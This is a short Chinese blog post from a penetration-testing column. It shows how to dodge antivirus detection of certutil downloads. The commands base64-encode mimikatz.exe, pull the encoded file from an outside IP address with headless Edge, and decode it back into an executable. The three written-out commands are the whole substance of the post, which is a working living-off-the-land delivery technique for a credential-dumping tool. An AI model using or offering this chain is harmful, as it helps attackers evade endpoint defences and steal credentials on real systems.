利用chrome/edge下载文件

最新推荐文章于 2024-05-16 23:00:45 发布

evilxpl

最新推荐文章于 2024-05-16 23:00:45 发布

阅读量253

点赞数

分类专栏：内网渗透文章标签： chrome edge windows

本文链接：https://blog.csdn.net/weixin_44747030/article/details/129169656

版权

内网渗透专栏收录该内容

12 篇文章 1 订阅

订阅专栏

现在不混淆命令直接执行certutil命令直接就会被杀

在这里插入图片描述

使用certutil对文件进行base64编码
certutil -encode mimikatz.exe evil.b64.html

使用chrome\edge下载exe
"C:\Program Files (x86)\Microsoft\EdgeCore\110.0.1587.50\msedge.exe" --headless --enable-logging --disable-gpu --dump-dom http://205.185.114.68:8114/evil.b64.html > evil.b64.html

解码文件
certutil -decode evil.b64.html C:\Users\rkvir\Downloads\evil.exe

发的tcp的包

在这里插入图片描述